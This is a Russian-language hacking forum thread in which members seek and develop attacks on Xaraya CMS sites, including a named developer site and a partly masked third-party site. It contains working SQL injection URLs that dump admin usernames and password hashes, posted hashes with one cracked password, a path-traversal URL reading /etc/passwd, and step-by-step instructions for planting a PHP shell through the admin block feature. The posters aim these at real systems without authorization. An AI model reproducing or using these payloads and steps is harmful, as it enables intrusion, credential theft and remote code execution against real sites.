Xaraya CMS

Discussion in 'Песочница' started by zlo12, 2 Aug 2010.

  1. zlo12

    zlo12 Elder - Старейшина

    Joined:
    28 Dec 2007
    Messages:
    535
    Likes Received:
    135
    Reputations:
    34
    Есть ли какие-нибудь работающие эксплоиты под сабж?
     
  2. Godfather Bulan

    Godfather Bulan Elder - Старейшина

    Joined:
    18 Mar 2008
    Messages:
    172
    Likes Received:
    443
    Reputations:
    25
    Видел всего один раз её. ссылку можешь дать?
     
  3. zlo12

    zlo12 Elder - Старейшина

    Joined:
    28 Dec 2007
    Messages:
    535
    Likes Received:
    135
    Reputations:
    34
    вот кагбэ www.site.ru
     
    #3 zlo12, 2 Aug 2010
    Last edited: 27 Jun 2011
  4. kfor

    kfor Elder - Старейшина

    Joined:
    1 Sep 2005
    Messages:
    278
    Likes Received:
    48
    Reputations:
    29

    Ну ты блин меня вчера заморочил)) я до сих пор ковыряю эту еболу)))
     
    #4 kfor, 2 Aug 2010
    Last edited by a moderator: 7 Jul 2011
  5. Godfather Bulan

    Godfather Bulan Elder - Старейшина

    Joined:
    18 Mar 2008
    Messages:
    172
    Likes Received:
    443
    Reputations:
    25
    http://www.***.ru/base?code=8&exception=At:%20/www/***/www/htdocs/modules/sitecontact/xaruser/main.php%20(Line:%2061)%0AUndefined%20offset:%20%200&product=&component=&func=systemexit

    Раскрытие путей
    /www/***/www/htdocs/modules/sitecontact/xaruser/
     
    #5 Godfather Bulan, 2 Aug 2010
    Last edited by a moderator: 7 Jul 2011
  6. kfor

    kfor Elder - Старейшина

    Joined:
    1 Sep 2005
    Messages:
    278
    Likes Received:
    48
    Reputations:
    29
    ErrorNo: 1062, Message:Database error while executing: 'INSERT INTO cms_session_info
    (xar_sessid, xar_ipaddr, xar_uid, xar_firstused, xar_lastused)
    VALUES ('73bc7ffd990ffbea5c638435ebe87a93\'','78.159.99.148',2,1280737072,1280737072)'; error description is: 'Duplicate entry '73bc7ffd990ffbea5c638435ebe87a93' for key 1'.


    Впринципе еси я прально понимаю, то можно было бы попробовать поменять uid на админа. Но мою ковычу экронирует((
     
    #6 kfor, 2 Aug 2010
    Last edited by a moderator: 2 Aug 2010
  7. kfor

    kfor Elder - Старейшина

    Joined:
    1 Sep 2005
    Messages:
    278
    Likes Received:
    48
    Reputations:
    29

    Всё)) есть скуля)) ща буду раскручивать. Кому интересно поделюсь =)
     
  8. BrainDeaD

    BrainDeaD Elder - Старейшина

    Joined:
    9 Jun 2005
    Messages:
    774
    Likes Received:
    292
    Reputations:
    214
    лучше сними видео на конкурс. покажи процесс поиска, интересные моменты.
     
  9. kfor

    kfor Elder - Старейшина

    Joined:
    1 Sep 2005
    Messages:
    278
    Likes Received:
    48
    Reputations:
    29
    не видео снимать не буду, у меня просто на работе ща завал, чуть позже выложу всё как и обещал. Главное что это ещё и на сайте разработчиков работает ;)
     
  10. kfor

    kfor Elder - Старейшина

    Joined:
    1 Sep 2005
    Messages:
    278
    Likes Received:
    48
    Reputations:
    29
    Сорри что так долго. Короче после ночи просматривания грёбаных исходников и видя как все параметры перед выводом проводятся через функцию проверки... я всё таки нашёл место где параметр пихают не глядя :)

    В модуле dynamicdata (к нему можно обращаться даже если ты не зареган) , при поиске выводится типа превтюхи $data['q'] = isset($q) ? xarVarPrepForDisplay($q) : null;

    Собсно пример приведу на сайте разработчиков :)

    http://www.xaraya.com/index.php?module=dynamicdata&func=search&itemtype=2&q=test'+union+select+1,xar_uname,xar_pass,4+from+xar_roles+where+xar_uid=3+--+&dd_check%5B22%5D=1&dd_check%5B23%5D=1&dd_chec k%5B24%5D=1&dd_check%5B25%5D=1

    И видим логин и мд5 пароля

    Admin:d5b0db1c94d2d2e23b850792be247c9d



    zlo12 Сайт который ты ломал там 4-я ветка и префикс, поэтому зпрос немного другой

    http://***.ru/index.php?module=dynamicdata&func=search&itemtype=2&q=test%27+union+select+1%2Cxar_pass%2Cxar_uname%2C4+from+cms_roles+where+xar_uid%3D3%2F%2A&dd_check%5B22%5D=1&dd_check%5B23%5D=1&dd_check%5B24%5D=1&dd_check%5B25%5D=1
    test' union select 1,xar_pass,xar_uname,4 from cms_roles where xar_uid=4/*


    И видим хеш
    Admin:90116554c7244cc38acef19146ed7ee1

    Мне удалось тока один хеш кольнуть и тот не админа.

    web:3f230640b78d7e71ac5514e57935eb69:qazxsw


    Воопщем доволен как слон , что добил а то уже хотел бросить ковырятся в этом говне)))
    Если кольнёте хеши, то я бы судовольствием попробовал бы залить шел и поковыряться.
    Собсно всё.
     
    #10 kfor, 2 Aug 2010
    Last edited by a moderator: 7 Jul 2011
    3 people like this.
  11. zlo12

    zlo12 Elder - Старейшина

    Joined:
    28 Dec 2007
    Messages:
    535
    Likes Received:
    135
    Reputations:
    34
    о.О огромноe спaсибо
     
    #11 zlo12, 3 Aug 2010
    Last edited: 26 Aug 2010
  12. to.Index

    to.Index Member

    Joined:
    3 Jul 2010
    Messages:
    42
    Likes Received:
    22
    Reputations:
    5
    отправил в личку хеш =) пользуйтесь
     
    2 people like this.
  13. kfor

    kfor Elder - Старейшина

    Joined:
    1 Sep 2005
    Messages:
    278
    Likes Received:
    48
    Reputations:
    29
    Что бы поставить точку я решил залить шел. Как дурак битые часы искал инклуды всякие и тд и тп :) В итоге в час ночи решил почитать мануал к этой CMS. Воопщем мож кому пригодиться. В условиях когда нет модуля UPLOADS сделать шел можно путём создания нового блока, тока задать ему нужно новый тип base / php.
    Base - это базовый модуль который обрабатывает эту всю *мат*.

    Да и ещё по ходу пьесы нашёл читалку внутри админки.
    site.com/?module=sitetools&type=admin&func=cacheview&action=show&templn=themes/site/modules/xarpages/blocks/menu.xt%0A&hashn=../../../../../../../../../etc/passwd%00

    P.S. Если нужно с блоками могу подробнее расписать.
     
    #13 kfor, 4 Aug 2010
    Last edited by a moderator: 4 Aug 2010
    1 person likes this.
  14. kfor

    kfor Elder - Старейшина

    Joined:
    1 Sep 2005
    Messages:
    278
    Likes Received:
    48
    Reputations:
    29
    По поводу создания блока.

    Так как в приват получил сообщения о том что бы расписать как с блоками делать, то напишу сраз0у тут.

    Переходим по пути
    index.php?module=blocks&type=admin&func=new_instance

    далее выбираем тип Parent Module / Type: base / php

    Выбираем группу где будет отображаться
    Block Group (optional): (к примеру about)

    Далее пишем что там пишем пхп код . Кстати его нао вносить без тегов <? ?>

    Далее при переходе к этому блоку будет срабатывать и наш пхп блок.
     
    #14 kfor, 6 Aug 2010
    Last edited: 6 Aug 2010
    2 people like this.